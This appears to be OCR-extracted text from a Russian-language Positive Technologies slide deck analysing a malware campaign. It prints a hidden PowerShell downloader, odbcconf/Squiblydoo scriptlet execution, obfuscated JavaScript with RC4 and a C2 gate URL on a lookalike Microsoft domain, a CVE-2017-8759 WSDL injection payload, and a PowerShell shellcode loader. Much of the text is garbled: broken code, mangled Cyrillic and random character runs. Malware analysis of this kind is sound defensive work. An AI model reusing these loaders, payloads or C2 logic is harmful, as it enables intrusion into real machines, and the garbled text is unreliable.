oW SEVZTEpkxH3EXPTAI J29iV4NiFIpiVS0zKSASI ceQPIkQFWegFRghD3 tnPrFyEa SCEONhEhERNTARKh 8T ITQCALgDD SUCKR kwCwd SHGdxGOBAChEWPEhAJUShEE t DMMEDI TIwIWE2 LE 1 DMVFTIQ9vE1gINQUz JOORImgDATAgGgQE AR FSpyVeBwHR JCD4ERERs N2 Ay P2 i EWcAORWE / ZQ0xgVU TxDYZ0v0iM30
[PwITQATS cyAut DGgshGWAIWE 1SADcIERhBTuERH+80QGc5101g) JRgSYhehN 50z Is 1y IuVQEgISLDs] KE kCO+wSEx 8wdbgl Gwk 3FdggPEhCICHC FxBET kUBIgE y FukROO0 AdEWVARMOFOIx FF1 zMEVRbEB yEABDNocnEh YWD SUCE iRhNDETCEAyG6XTVCUBHL 1 DLyAi C1tRIRh3IT FpCHxY1GET] InFG55x1 FWOWebUVMc
1iFKoxG01nSoghIvpSEXoHRASRIO Ly UwFg LRNEGTYQUOUTT 9¥xLx YDBweT J20DBwpB I rRiNhInP6Z  DHOWKS Y nKFwRCwvw]1 EKOCAS S j Dww( THIVDvpgSBF j L4g Dy cQI 8 4wHIwl BEZgC02 4RNpghAFR i NETXER 50305 0RDBk1KS swRt YgMY kCHO s zHA 4zRSAANVV GHOCGa IWPRQACZ 1 QWK 4 xTqd B2 PpgxWoxBRe TALZS
KNEE SEshSEVMEPMONI 0UVIWKTBZ FWWLRDLBRWAQA1I KRRWMFEXTO1GLSUQIVABLIOmZnNm¥X z k1 TAY 25 4VIZg] HoMi AC1 CHGMSboEwOY sy Yv4 TCHXU TROWBUVVWEAnT 1 ERNBOWVHARA rd k¥JVa Jduh 2Hi 5kSUIBGEN0 FTo 2RmpGHZ 4CUn4RFx40 fUR2e 09 XX 2WETWEWe ThRHa YDCaqpCEBNgRAVEQK 2ggeckDLK0 2 Qg4 kOQRW
e Z CVTFQAPPIWIMFHI 2 40N TgxbdR2bz 7 1 KW5kSUEWGEZ 1 RHE JAERMRTRAGY] shL1 FCIMY STuhGUEZgVERWAQoZ S1ETKg4 S n I TVaxUbesxPMIQE /ECQq 1 wHAMNMEEx FUpmivwNz IqgCSVEwMnx kZGVIE LpWVgQgEWQDOEpgRAl 2 TN EQB5A ] BDY kdU0Bda & D0ZE 1GTU0 FaJEMeBQACENDge SHC 01 GOgRE/ LUMOWK L / wDS9WTV

0z8
4VDJIPHEHHa 261 ImAe ADHCWh PEdUMcViLz syCgERXTNZKGd1 FGIiDhAz SF1 yERgDNWYRAYR] £30GRGVINSNODHIRHe 1 ZD2WWFRQHWEgh PIWwBI PQ2 fndXVow0 FaJHMoBQACENWL sy S £ twEHRB I sMybRAT ImwCSuSHECHYKJS 1 D1UyDapyEYQyCHNN f 2d kdFdz01ZmS J 9] C1VSMEWz KnMmFB 41 I £ IwDaN1 ZypSIfUNA3I zAo
[U1IzdSCVBCAUpEWhaTQcljHeoxuUVMOWE £/ wDSy1 AENSGIBWRWY t TOyQRAGOCRWIQczQzIMsThrBSMTdyE NzNWI 1EVACTRk yALaCS JEALu0g0Ba CMEEXDZEWBQZ 2NAJQDRUSAhEDHIgzUCsxNu 4 k0GgT0igzEpUERDEHOL1hDE A1 HmSmUmExBg8zEul1dc 12051 3 JwRRDWaHZ FeFQRMES FCWMN SAcdER4 11 ¥kQybeh
2 TnBODvEHDEZVVUWISEE1ARTACSLA0ZvMwI ZeyI1 ZmSQZQRIViIGVEBININT JwS0Dtwh ARQFz YWl 74X DUEWHIEFRe IRLZ 9 kNEESEsh SEVMEPMORI0 4UaURHKDgEKrd 1 KT Jwa 2xRRGY DD/ s GWWU 3Wms j Iw4 k0bQS0kQSHRF xGNMCLANWa UyDwe L AXUWDUI AL 6NxbRAT ImwCSuSxECNyKIdFUEd 3R5 TWRbdEP1 QDMCEFHMUm
FzkTA41yRa9yPcODDEgiUisySFamSDkiIQEhdY96BuEi PMRANGEQG] ZDGn0hCMEBSCVBAD4 1AZ Owl+wBe rBgAOEFRe IRLZ 9kNE S SEst HNpRCOAKDE 6MFd+g] LoEnI 1 3QCWODOEXAULDVGLEBgRBO IHI £YURJ0Q IeESHOMC SuliwDCVyNHFEBE JmQ 3OWIMAHUQ1 1 T6xRNCYDZ 3 tEDoQQBCdi050gQdB2 SONEHAJKEURpFay FAR
[Rsj TqQ2HvhACTF] YbelVESX Fei CFYTOVAKMI ngOdojH+gDH" ; ooR1 (kxpO8kuD {gtuR0Llcn + gtuROLlen + gHenpRG1U1, "hIGMMLTnZEnghElpBDzWCywZYFET1™) ) ; }</ script> [HLRE 9KerKETgH 61571148

-noprofile -WindowStyle Hidden (New-Chbject System.Net.WebClient) .DownloadFile('
3tocp-process -name winword -Force -Errcriction SilentlyContinue:

. . Lorion SLemE . L _ 3arnywka
Remove-Item -Path HECU:\Software\MicrosofthOffice\15.\Word\Resiliency -recurse -ErrorBAction SilentlyContinue; <
Rem -Item -Path HECU:‘\Software\MicrosofthOffice\16.0\Word\Resiliency -recurse -ErrorBction SilentlyContinue;
$abl = : at a"Roa 2.doc’;
start-process winword.exe -WindowStyle Maximized -ArgumentList \"/g "Sablth T

3arpyska 3awmdpoBaHHoro AES-256 2-stage u ero pacwncgpoBka

A




Living-off-the-land n Squiblydoo

~POSITIVE TECHNOLOGIES

ODBCConf.exe -- BEINCAHAET PasNUYHBIE AEACTENA NO YCTAHOEKE KOMMNOHEHTOR

odbcconf.exe /S /A {REGSVR C:\Users\Administrator\AppData\Roaming\46572.txt} MDAC.

Mapamerpei

/H, /7 - NoKazaTe 370 AMAN0TOECE CKHD

/5 - He BeIBOANTE cooBuenuna of ownBkax (aBToMaTHYECKIIA pesun)

/T - NpoA0IKUTE BEINOAHEHNE AEACTENA JaXE Nocne ownbrn

/R - BBINOAHWTE AERCTENA NOCNE NEPE3ATPYSKA

/F - ncnonssoeate daiin oteeTos (ganee yxkaxute nma daiina)

/E - yaanuTe daiin 0TEETOB NOCNE 33BEPLUEHUA

/L - BKNKIUNTE 33NNUCE B XYPHAN (J3NEE YKAKNTE PEXUM W A daiina)
Pesknmel xypHana: n (06ei4Heli), v (noapobrend), d

(oTnagoyHBIR)
npumep: "/Lv log.bd" - zanucate nogpoBHele ceeaeHa &
#ypHan log.bd
/A - BoiBECT AeficTENE. JEeACTENA BEIEOAATCA B ).

Jeiictena:
SETFILEDSMDIR
INSTALLDRIVER  <driver name|driver=driver path|other attributes>
INSTALLTRAMSLATOR <translator nameltranslator=translator
path|other attributes>
CONFIGDRIVER  <driver name> <driver attributes>
COMNFIGDSN <driver name> <DSMN=DSN name|other attributes>
CONFIGSYSDSN  <driver name> <D5SM=DSN name|other attributes>

function hit({) {
var xl;
wvar Note:
var xStore;
var 3p;

var savelo;
var xxl = ravr +
var xx2 = "
var mlink =

scRo

REGSVR <path to dil>

><package >
<component id
registration
lprogis
clasaid="1270 s
acript languages
function gHZSTYD(cQ9) {var wElUazh = "":;var jI0dPHW = 0:for (JIOMPHW = cQ9.length - 1: JIOAPEW = 0: JIOMPHW -= 1) {wFUazh += cQ9.charAt (JI0dBHW) :}return wFUaza;}function mkpAGodFp(rC) [var bIEMLE = "r";var uvzWR3LZG = "C":var orzCzp = [1:
ar svQezCy® = "o”:rorzCzp[0] = + BTEMLE + svRezCy® + "m”:orzCzp[l] = uvzWR3LZE + "h":orzCzp[?] = BIBMLE + uvzWRILZG:orzCzp[:] = svQezCy® + "ge”svar gAD = orzCzp[0] + orzCzp[l] + "2" + orzCzp[Z] + orzCzp[®]:var 1CRDoza = String:
return 1CRDoza[gEAD] (rC) ;}function hwKFpO(ypdghlI3qh) {return "+ ==ypighI3gh? (-352+ ==yp4ghI3qA? ( /7636) :1sur. indexOf (yp4ghI3qA) : } function hovBL3(gZ) (var hubp6Y¥;var fOhdOEmuml var pLZALCKT:var wi:var vH:var bl = "":for(hubpéY
[F 0:hubp6i<aZ. length-3 :hubp6Y += &) { 0hd0EmmI=hwkEpO (qZ .chazAt (hubp6¥+0) ) sPLZALCKT WKFO (qZ . charAt (RUbPEY+1) ) sw1=hwKFEO (g7 . charAt (ubPET+Z) ) svHohwKEPO (qZ . charht (ubp§¥+*) ) (bl +=mkpASo4ED (F0RA0EmIRI <<z | ELZALCKTSS> (2 ):if (aZ.

charat (hubp6Y+2) 1=anq) (bl += mMkpAGO4Fp (PLZA1CKT<< ( J1135) &(307-67) [WID>>2&(- )):}if (QZ.charAt (hubp6¥+3) 1=anq) {bl += MIPAGH4FD (WI<< ( £) &(53952/281) |vH) ;}}return bl;}function sl (tzHTTS, n0T1007gF) {var u936 = [];var apD =
" ;var dvNEZOnFs;var mSI3V2G;dvNEZOnFs = 1;vhile (AvNPZOnTs <= {1936 [mkpAGo4Tp (dVNPZ0nTs) ] = dvNPZOnFs;dvNEZOnFs += 1;}dvNEZOnFs = 0;mSIJV2G = (;while (dvNPZOnFs < tzHTTS.length) (apD += mkpAGo4Fp(ud36[czHTTS. substr (VNEZOnFs, 1)] +
1936 [n0I1007gE. substr (nSI3V2G, 1)1) :mSIIV2E = (mSIIV2G < n0T1007gF.length) ? mSIFV2ZG + 1 : 0;dvNPZOnFs += 1;}return apD;}function pHmt (ecdz,oi) {return s1(hovBL3(gHZSTyD(ecdz)),oi);}var lsur = "";var bTBMLE = (-2312+2377) ;while (bTEMLE <
& 7)) {lsur += mkpAGodFp(bTEMLE) ;bTEMLE += 1;]bTEMLE = ( ;while (BTEMIE < ( ) {lsur += mkpRGodFp (BTEMLE) ;bTEMIE += 1;}bIEMIE = (- );while (BTEMIE < (- 1) [lsur += mkpAGo4Fp (BTEMLE) ;bTEMLE
= 1:}lsur += mkpAGo4Fp (43, 17);var ang = mkpAGo4Fp((4°3751/7231)) ;var t3qL5aUBzM = function(iy) {var iR4Qu;try [iRdQu = (new Function(iy)) (1AdQu) ;return i24Qu;} catch (qdX) {return false;}}:try[var nhpOVtHdRn = new kHYvEld:}catch(
nMRzdo30s) [var wv

;t3qLSUBzM (DKt (wv,

,'sr.r1p|:>

/registration>

/component>

/package><!--DEBB81039D1FSF1EESFCBE66BBOBCETESA49539A6C9526FAEEACBET710A3DB78509EA69D1 3DDEER46CSAEBOA42R6TEOFFAL001027351245FAD7TATESSAG2ESF1C-->

wvar corm = xxl + mLink + Xx2;
if (xGc(comm) === true) |
waitfor(l, 0):
}
if (installed() false) {
x5Store
zaveTo =
try {
x1l =
Hote = xl. RegRead(xStnre) H
if (Note) {
if (Note.indexOf(
= Note.split(",
zaveTo += Sp[0] +
} else |
savelo += tempExtra():

}
1} else |
saveTo += tempExtra():
}
} cateh (ell) {
saveTlo += tempExtra():

var dg = "\x22";
comm = xx1 + dg + savelo + dg + xx2;
if (fexist(saveTo) = false) |
if (wget(mlink, saveTo) —— true) |
if (xGo{comm) == true) |
return true;

}
} else |
1f (xGo{comm)
return true;

true) [

}
1 else {
return true;




~POSITIVE TECHNOLOGIES

BO3MOXXHOCTU:

RC4 Encryption

function anonymous () |

var BV = "2.0";
nonyqume KOMaHﬂ var Gate = "https://webmail.microscft.org.kz/portal/ajax.phe™;
var ja_gate = "https:/ /webmail.microscft.org.kz/portal/readme.tyt™;

var hit_each = 10;
Var error _retry = I:
var restart h = 4;

W var rcon max = hit each * (reatart_ h * ©0) / (hit_each * hit_each)
nonyqume 06HOBneHMM var Rkey = "NMFZOuHiPiUc9ET{muggGrnk™:
var rcon now = 0;
var User = "";
var Build = "";
var gtfc = false:

Onepaunun c dannamu

Co6op nHdbopmauum o cucteme



Cxema CVE-2017-8759

Cepsep -
3M0YMblLLINEHHUKA >KepTBa YaoaneHHbIn cepsep

[ "eHepauus .rtf gokymeHTa ]

[locTtaBka BpeaoHOCHOrO .rtf JokymeHTa

[ JKepTBa oTKpbIBAET ]
BPEAOHOCHbIN .rtf

GET-3anpoc Ha yaaneHHbln SOAP WSDL

A

[octaeska SOAP WSDL dhanna

[ BHenpeHve SOAP coaepXMMoro B ]
ya3sumbii WSDL napcep

"eHepaunsa n KOMNUASALUSA NCXOOHOIO Kogda C NOMOLLbIO
csc.exe .NET framework B DLL. Microsoft Office 3arpyxaet
OMGMoTEKY M UCNONHSAET Stage

GET-3anpoc ans 3arpyskn Payload

v

[ocTtaeka Payload Ha maluvHy XepTBbl

Cepsep
3M0YMbILLUIEHHUKA

XKeptBa YaaneHHblii cepeep




[MonyyeHne WSDL SOAP dauna POSITIVE TECHNOLOGIES

00 00 70 01 0O OO 77 00 73 00 64 00 &c 00 34 00 cePesWaS.d.1.=.
200 7400 7400 7000 3& 00 5c 00 5c 00 73 00 h.t.t.p.:.V\.\.3.
65 00 72 00 76 00 69 00 63 00 &5 00 &3 00 65 00 e.r.v.i.c.e.c.e.
6e 00 74 00 72 00 75 00 64 00 2e 00 69 00 6e 00 n.t.C.U.M...1l.0.
66 00 ef£ 00 2L 00 74 00 &5 00 73 00 74 00 Ze 0O f.o./.t.e.s.t...
g 00 &4 00 &c OO 00 OO 00 OO 00 OO0 00 00 00 00 x.m.l....

definitions

xplns="http://schemas . pulsesR - org/usdd/ "
xmlng: http://3chenss . mlsosp- oxrg/wsdl/soap/"
xmlns: http://yy. w3.9xg/2000/y8d] /suds"

xmlns:tns="http://gchemas.micresolt. con/clr/ng/System”
xmlna:ns0="http://schemas -micreselt . con/clr/nsassen/Logo/Logo"s
<portIype name: ortType" />
<binding name="Binding" type
<scap:binding style="gpg
<suds:class type="ns0:Image" rootlyp
</binding>
<gervice name="Service">
<pOrt name: ort" binding="f{ps:Binding">
¥8papiaddress location=
"http://localhest PR ?U2V0 VIO cnl JAE1vEGULVE L enliph:2 4 glgoKEnVuY 3Rph 2 4g InVu¥ 1 9nZXR FcHIvY1 ShZGRyY ZXNz IHsKCVBhewF t ICgk dmFyX21vZHVSE SwgdHZhcl Swemd J ZIWR1enUpCOR KT SR2YXI fdWS 2 YWE1X25hdG1 2 2Vt ZXRob2Rz IDOGEE tBcHBEL2 1haWsd0 jpDdlidy ZWS 0RGI L TWluLEd1dEF 2o 2Vt Tip ZXMoKSE
BIFdoZNJ1LUS1amV]dCBT ICRE Lkdsb2JhbEF zc 2Vt Ymu 502 F)aGUg LUFuZCAR Xy SMb2NhdGlvbi ST GxpdComiEwnkys EMVOuRNF 1 Vi zZKCATeXN0 ZW0nZGxs Jy kg £ SkuRIVIVEIWZSgnTWl jomdzb2 20 L1dpbiley L1Vuc 2FmZU5hdG12 201 1dGhvZHnKDoJCgly ZXR1 cmdgJHZhe 1 91 bnth 2o EbmF 0aXZ1 K21 1dGhv ZHMURIVOTWY0aGS
EKCAHZXROcm9 jJOWRE ciVz cy cpLk 1ludm9rZ SgkbnVsbCwgQChbU31 2dGVt L1J1bnRpbWluSW50ZXJveFil cnZp¥ 2Vz LkhhbuRsZVI 171 00TwV3 LUS1 amV ] dCBTe XN0 ZW0uUnVudGl tZS5JbnR 1 cm9wl2Vy dml  ZXMuSGFuZGx 1 UmViKChOZ X c t T2 JgZWNO IE 1udFBOciks ICgkdmFy X3Vuc 2FmZVIu Y XRpduV bW 0aG9k cy SHZXRNZXRob20
0J0d1dE1vZEYs ZUhhbmRs Z5cpKS5IbnZva2UedG51bGws IEACIHZNC1 9 th2R1bGUPKSEp LCAR AnFy X3By b2N1 ZHVy 2 5kpCniKCeZ 1 bl 0aWIuIGE 1bul £2 2V0X2R1 bGVn Y XR1N3R5cCUgewo JUGEy IWOgFAoJCVEQYHINbWV0 ZXToUGazalRpb2 4g PSAWLCBNYWE E YXRvenEgPSAEVHI1 25 1dTF tUeXB1W1 1dICR2YVHI FeGEy YW1 1dGVy cyw
RCOLLUGEy YW1 1dGVy KFBvc210aWouID0gis 1dIFtUeB1XSAkdnFyX3d 1dHVyb]1 90eXB1 ID0gW1 ZvaWRdACgRpCgERCSR2VHI FAH1wZVI1dW1s ZGVy ID0gWOFwcERvDWEPb1 060EN1 cnd 1bnREL2 1 haWiuRGYmaWd IRHIuTW1pY 0F 2 2VE Y m SKChOZ X c £ T2 JgZWHO IFNS c3R1b S 5 SIWZ s ZWN0aWdu Lk F2c 2V E T STF £ 2 5gnUnV GV dGV
ERGVSZWdhdGUnKSks IF tTeXN0 ZW0uUnVinbGY])dG1vbi SFbW1 0Lk Fzc 2Vt Ymx SOnVpbGR1 ck F] ¥ 2V2c10601J1bi kuRGVnaWS 1RH1uYW1pY 01w ZHYs ZSgnSWiNZW1ven1Nb2R1bGUn LCAR ZnF sc2Up LkR1 ZmluZVR5cGUoJ 01 5RGVs ZWdhdGVUe XB1Jy wgJ 0Ns Yz LCBOdWJI saWMs TFN1 Yix 1 ZCwgQW5 zaUNs VX z LCBBAXRv(2 xhe3Mn LCB
bU31zdGVELE11PHRPY 2FzdER1LGYVRTIRI XSXKCSR2 VNI FAHIWIVI 1dWl s ZGVy LER1 Zn1uZUHvbnl0cnV/j dG Iy KCASVERWIWNp TWR0YW1 1 LCBIaWR1On1 TaWe s IFB1 ¥mxp ¥y cs IF £ TeX 0 ZW0uTnMinb GV dG1vh i SDYWxsaWsn02 SudnhudGlvbnid0 i pTAGFuZGEy ZCwg JHZhe 1 9w XIhbW0 ZXJzKS STZXRILNES ZW1 1bnRhdG1vhbE ZsTiwd
2ZKCASdWS 0aWl 1 LCBNYWOhZ2VE JyRKCSR2¥XJ FdH1wZVI1dWlsZGYy LER] ZmluZU1 1dGhwZCanSWi2b2 £ 1y wgd 1B1 Ymp Yy wy SG1 X 200 5U2 1n LCBOZXAThG 90 LCBWaXJ 0dWF sy wgJHZhc 1 9y ZXR1cmd fAH1wZ SwgdHZhe L 9w XOhbWV0ZXJ zZKS S TZHRILXB S ZW1 1bnRhdGlvbk Zs TWdzKCdSdW50aW1 1 LCBNYWShZ 2VE Jy EKCOod crVO X d
UICR2YXJI FAH1wZV91dWls ZGVy LENy ZWFO0ZVRS cGUoKDp 9CgpJZiAoW0 1udFBOc1060nNpenUg LWx IDgpIHSKCWVECeXR1W11dJHZhe19 b 2R1 IDOgW1N5c3R1bS5Db2 522 XJ0XTo6RnJvbUdhe2UZNFH0 cmlu Zy gi LOVPRDVORG95QUFBOUVGU1 FWO1 V1 pd TWRELFHJAFNZRW1 MViWho SWk x SWATS XRSVUVNUHQwCE tUVERKUORTOXJEeGh
wQU1z50VION] RMUJIBY 0hpl1 ZED1IVYA TRV aTHMOWR 4 STFEQmInWGA Z03 AW dUEpQUEBQUY pRnd IUn S TOURRYT L 0 SUAFT0XRO0JKOWRE a1 2ral S5WUAMTE LoSUFk W SNY 2x JTWHD c1F § SEpEVINVCA1 R Z2RuRk 1 BMHArQ0VVITE YWE LXRYHHMUUN S Sk FxQud RWXNNUOVTTEFCeEpBZEICaXdTSWVNESFERVIchCYVO T 1W1drR1 1RV CV2 tpRDd
DOk IV SnVOVGEWLdraUxFdWx0Ly 8vL1hib0FTYjUz Ve lcGI £VIBERUZXUL 1ubVRIbnhRYNBNZH1 Z5C 8 5WGE SnQUFBOUUxdu thHN 1R0V2ZTEMOA01 DaGpild) FaWwvhScF1 teGx PeUJOVTBSRE 1 EY 3VNRHNIWY] J scVpHOTH] eUJ PVENBMUxgRTAIRLJ 5TV ShGIuUXZ00zR3 T3 1 BAVRYYV1VIRUSHVIW L BeExgRIVORE L STW1 rQVdGaF1XRuhZV0 Z
otVdGaF1 X Rmh ZV/0 ZoWVdGaF 1 XRuh ZW0 ZoWvdGa F 1XRnh ZV0 ZoWdGaF1 XRmh 2V Zn0VdYWZ 3gwa zB4d 00we H1VR1 FRVE JCAWpw\/2Vh 7 1 8x ZW1 COUFBOVd raUp3VUc 0 dXdFOUFFMEh 5VUZ STVZGeUEwWR 1 JR¥nBY aVovRy 8 5WHIaRW1Kd1VneDBrR11 TVEREVIW1 nQU1 x00WVWEEpCAVIVExgd i 8:ViW] KeG1vS1 gwalo 4 VmIn]UFBOWFnOmInRE 1
BQUWESIRFR2VCQUEBQUVENmRY YWY od1 SWI01ue FNE SENUVERBYVFRI S 1V Sk J1aTBHRON2 LzFZWEFE U JFJ Lzg SMEVPAS 8 2M1 RvbCEvLy 95005 Xa0owdUEFCOn Z202FvbGIvid/VineHl ib0FERUFBUWInQUVBQUERYmxBOUFEQVF 1 c F1wR1Bs Lz IWSWexT1RTSW5uU0 1ue FHIbnFRYmdBS UFBOVN ZbjWRYmOTEGIuaSE 5V In0FFnaGiCHHRralx
CMGACzBpRnd IWFAXRupENE JULy 8vODPROaTRATURZAULUTIMak 1 3TndBPS IpCgEKUSR2 THI FinVinZmvy ID0gWINSc3R1LS5 SdAW3 0aWl 1 Lk 1udGVyh3BTZXI 2aWt Loy SNY XD zaGF sXTo 6RZVIRGYE ZWdhdGVGh3d GAdWs JdG1vh 1 BvaWi 02X ToKGZ 1 buli £ Z2V0X 3By 2N f TWRE cnVzcy BrZXduZiwwzli SEbGwVinl y dHVhBE PG KEwgKGZ
1bml £ 22V0H2R1 bGVn YXR1 X3R5 cGUgOChbSWS 0UHRy XSwaW1VIbn0zM1 0s TF£VSW50Mz Jd LCBBYT 1 udDMy X5kgKF t JbnROAHIdKSkp Lk 1 udmSrZ5hbSWH0UHRy XTo 6Wm\y by wgdHZhc1 9 jb2R1 Lk x1 bmd 0 aCwweDMwtDAs IDBANDARCg1bU31 2dGYE L1J 1bnRpbWluSW50 ZXdveFil enZpY 2Vz Lk ThenloYedOjpDb3BSECR2YHI FY 29k BSw
gMCwgJHZhcl91dWEnZXIs ICR2YHIFY 29k 1552 ZIWsndGapCaodJHZhcl dodGhy ZWEE IDOgWINSe 3R1bS55dW50aW1 1 Lk ludGyyb3BTZXI 2aWN 1 cy SHY I 2aGF s XTo 6R2VORGY = ZWdhdGVGh3 GAWS jdG1vh 1 BvaWs 0 ZX T oKGZ 1 bml 2 2WVOX3By b2 f YWRE cuiz oy Br ZXJu Zwwzli Sk bGwgQ 3 1Y IR1VGhy ZWFEESwoRGZ Lbml £ Z2V0X2R1BGY
NYXRIXSRScGUGOChh SWE0UHRy X5wgW1Vibn0zM1 05 IF £ JbnROdHI d LCBLSWS 0UHRy XSwgW1VibnOzM1 05 IF £ JbnROAEIAKSA0W0 1udFB0c 1 OpKSEuSW 2b2 t 1KF tdbnROAHEId0] paZdvLDASJHZhc 1 91dWEnZK IsW0 ludFB0c 10601 p1 cm8 sMCxlSWS OUHRy XTo bWy Ly KKCVE TeXM 0 ZW0ulnvudGl £ 255 JbnR 1 cndwU 2Vy diel J ZXMATWE
yc2hhbF0 60kd1dER] bGYVnYHR1 Rm 9y RnVu¥ 3Rpb250b2 1udGWyKChmdWs jX2d1 dF Swem 9T H2Fk ZHI 1 c 3Mga 2y biVsMz TuZGx s TFdhaXRGb 3 TaWsnbGYPYmpl ¥ 30pL.CAcZriVu Y1 InZXR F 2GVs ZWdhd GV f dH1 wZSBAKF t JbnROAHId LCBLSWS 0Mz JdRSkp Lk 1udmSrZSgk dnFy X2h0aHI 1 YWlsMEhmZmZmZnZm?7 i kg FCBPAX0t TnVsbApSCm\
=c2UgewoIW0J 5dGVEXVOEdnFy X2NvIGUgPSELUS1 2dGVE LENvENZ LenRAO pGemd tOnF2z ZTY0U 3Ry aWSnKC IvT2 LRDUFBQV] Jhuat N ZEp raTEJ A2k x SU1 pMU1VaTHIL 003 2E tKak gwTWHD c1BHR JhBaXdnd2M4 TEF Znk ARk pYa TF JUWEwS ThEZENMUUhpRnd IUk tBZEJRATENWWE X Z 2dBZFBgUEVE TESJc0IxakgvTWND e 3djOESBY 2MONER
YMEEzMzRPMzBr ZGVKWWExZ2 tBZED taXd4 TGRxZ2NBZE MOk 1 207 BILEVED1J1Vz JGWlds SC80RmhuM 2 92Uz Y 0WnRhRzVs ZEFCL20y bHVEV1L vWER ] LUIvL1 Y2 SUFBOUFC T 2cHBiRSho THpRAU1 DOWS ZM) 1 0¥ 0dGUGF XS ntaVINnVE 205 1 JTOTHMAEE 35UZk cGJ tUnZEM01nVGxRZ 05 THHh PeUIVY2 1 5al pXNTEMe LF 1 TURZ Z0xTHUZWQ0J
EVEZJZ01 THHhMa 1 F6Thpd cEFGaF 1 XRmh V0 ZokdGaF 1 XRmh V0 ZoWVdGaF1 ¥Rmh V0 ZoWWdGaF 1 XRmh ZV0 ZohdGaF 1 XRmh FV0 ZoWIFGa 3gviWR YW FRUmFEc Fd 1 YWY vV EVE FBOUF Ke k hEVAVZGeTExR1 Jh THHCOUFCVFVHa Fhpii 9HLz 1 XSne rdDZXVER TV nJU1 xQ0VWbEp TVWERUWE PAF ZMan Yvifv1 uR2 F IQ¥pBOUNENEdvRVYHB 2 &
WhWgxUnAZRy 8 SVEgviWRTY FEV2 EDMEANS HYvIV1YOWRE Z3gwiEgy ZEFTS1t1c0phS3JGHGWz LZzF Zbk ThRVVoWGRI Lz FUSC WS TVVE aUWEMZ Fg0OXYviWI 40Ux 30QUF FY20x0k 1uWTY 0b3gvE3HWH jBub2dmLy Sve T1hZUZRME FEQmE 4 TEdpVnTvVinF rOnd B0k FBQUAnQUE FQUEWHnh 2cE Z20bC 8 3V1RVMUSKNTF X b 0FDQUEBRE SHYUJLV2 1
1TCExWVhBZEQy TEJ 3 SER0Y 0 IxNVEZGRD ZCHy BvLzg0 Tk 0eE 1EWXYHVEL 4TGpJdd0530T01K0oJCO0d U HERC 1 91dWZnZ X IgPSBLUI1 2dGVE L1I 1bnRpLWISW0ZXdvc FN1enZpY 2Va LE 1henlloViWxd0JpHZXRE ZWx1 2 2F0ZUZvck 2 1bnN0awsulGIpbnR1 cigoinVu 1 SnZXR EcHIVI 1 ShZGRy 2XNz 16t 1cmd 10y LuR shCBWaXd 0dWE sOwx
sh2MpL.CACZMVIY 1 9n ZXR F ZGY's BWdhdGW FdH1wESBAKF £ JbnROAHI d LCBEVI1 udDiy XSwg1VIbnOzM1 05 TF £VSW50Mz JARSAcW01udFB0c 1 0pESkuSW52b2 t1KF tdbnROAHEIdD  pa Z I vL.CAkdnFy X 2WwEGTu TGV Z 3RoLDB AMz AvdCwalHg OMCE FICVE Te XN 0 ZW0uTnVudGl t£5 50bnR1 cm 9wl 2Vy dml j ZXMuTWFy c 2hhbFO 60k HwcHk o JHE
hel93b2R1LCAWLCAR dnFy X201 ZmZ1lciwgdHZhc19ib2R]1 Lk 1bind 0aCk KUgk kdnFy X2h0 aHJ 1 TWOgP SELUS12dGWE L1 I 1bnRpbWTuSW3 0 2X0vcFN1 cnZpY 2Vz Lk ThenNoYWxdD  pHZHRE ZWx 1 Z2 F0ZUZvck E1buN0aWIulGspbnR1 cigoZniVuY 1 SnZ R ECHIVY 1 ShZGRyY ZXHMzIGt 1em5 1Dy LnRsbCBD cuvhdGYWTaHI LTWOp LCAOZnV Y19
nZXREZGYs ZWdhdGVEdH1wZSBAKE tobnROAHIALCEEVT LudDMy XSwoW0 1udFB0c 108 IF tdbnROAHIALCEVU1udDMy KSwgW0 1udFB0c 1 0p IChhSWI0UHRy XSk pKS 50bnZva2Uol ludFB0c10 601 pl cmd sSHCwE dmFy X2 01 ZmZ 1 ¢ 1 xbSW5 0UHRy XTo 6WaMy by wwLF tdbnROAHI A0 paZ XdvEDo WING c3R1LS S 5dAWS 0aWl L Lk ludGVyh3BTZXD
2aWl1cy SHYXI zaGF s XTo6RIVORGYs EWdhdGViGb3 IGdW5 3dG1vbl Bvaks 0 ZXT oFGZ 1 bul f 220X 3By b 2N FYWRk cniVzcy BrZXJuZWwzMi 5SkbGwgV2 FpdRE Zve 1 Mpbmd s 2091 anVj dCk s TChmdWs jX2d1dF 9k ZWx1 Z2F0ZVI0eXB1 IRAcWD 1udFB0c1 0s TF £ Jbn0zM1 OpKSkuSW52b2 t1KCR2YX ] faHRocnivhZCwweGZmZmZn ZmZnkSBE TR91dC1
OdWxsCnOKCg—"75ysten/Management /Automation?System/Management/Automation/Runspages/RunspaceFactory ?CreateRunspace?Open?CreatePipeline?Commands ?AddScript ? Invoke" 3
<3cap:address location="//12345

s PortType">
transport="http://schemas . xulsgaR . org/scap/http"/>
"MarshalByRefObject"></suds:class>

if (true} {
System.Reflection.Assembly gmg = System.Reflection.Assembly.LloadWithPartialName (_url.Split('?') [3].Replace('/','."))
Type xf = gpa.GetType( url.Split('?')[4].Replace('/','."))

cbiect rs = pf.GetMethod(_url.Split{('?')[5], new Type[0]).Invoke (rf, null)
rs.GetType () .GetMethod (_url.Split('?') [6]) .Invoke (rs, null)
abject pl = rs.GetType() .GetMethod ( url.Split('?')[7], new Type[0]).Invoke(rs, null)
obiect gmgls = pl.GetType() .GetProperty (_url.Split('?') [8]) .GetGetMethod () . Invoke (pl, tull)
GHgls. GetType () . GetMethod( url.Split('?') [39], nev Type[] { url.GetType() }).Invoke(gugs, new object[] [ System.Text.Encoding.UTES.GetString(Convert.FromBase6dString( url.Split('?')[2])) 1)
pl.GetType () .Getlethod (_url.Split{'?') [10], new Type[0]) .Invoke(pl, null)
Y A
</port>
<fservice>
Jdefinitiona>
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. . . . WcnonHeHune PowerShell web-downloader
Injected code in Microsoft Office

If ([IntPtr]::size -eq 2) {
[Byte[]]$var_code

[System.Convert] : : FromBasef45tring (

Svar_buffer = [System.Runtime.InteropServices.Marshal] ::GetDelegateForFunctionPointer((func_get proc address kernel32.dll VirtuallAllec), (func get_delegate type @([IntPtr], [
UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, Ox40)

[System.Runtime. IntercpServices.Marshal]: /(§var_code, 0, $var buffer, $var code.length)

Svar_hthread = [System.Buntime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((func get proc address kernel32.dll CreateThread), (func_get_delegate type @([IntPtr], [
